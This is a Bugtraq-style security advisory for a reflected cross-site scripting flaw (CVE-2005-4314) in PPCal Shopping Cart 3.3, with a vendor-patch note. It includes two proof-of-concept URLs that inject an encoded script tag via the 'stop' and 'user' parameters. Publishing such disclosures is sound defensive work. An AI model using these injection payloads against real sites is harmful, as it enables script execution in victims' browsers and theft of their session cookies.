PPCal Shopping Cart Cross-Site Scripting Vulnerability

Bugtraq ID:	15892
Class:	Input Validation Error
CVE:	CVE-2005-4314
Remote:	Yes
Local:	No
Published:	Dec 15 2005 12:00AM
Updated:	Mar 06 2007 08:15PM
Credit:	rakstija r0t3d3Vil is credited with the discovery of this issue.
Vulnerable:	PPCal Shopping Cart PPCal Shopping Cart 3.3
Not Vulnerable:

PPCal Shopping Cart Cross-Site Scripting Vulnerability

PPCal Shopping Cart is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

PPCal Shopping Cart Cross-Site Scripting Vulnerability

No exploit is required.

The following proof-of-concept examples are available:

http://www.example.com/ppcal.cgi?action=shop&user=8001&start=21
&stop=%22%3E%3Cscript%3Ealert('r0t')%3C
/script%3E

http://www.example.com/ppcal.cgi?action=shop&user=%22%3E%3Cscri
pt%3Ealert('r0t')%3C/script%3E

PPCal Shopping Cart Cross-Site Scripting Vulnerability

Solution:
The vendor released a patch to address this issue. Please contact the vendor for information on how to obtain and apply this update.

PPCal Shopping Cart Cross-Site Scripting Vulnerability

References:

• Home Page (PPCal Shopping Cart)
  
• PPCal Shopping Cart XSS (rakstija r0t3d3Vil)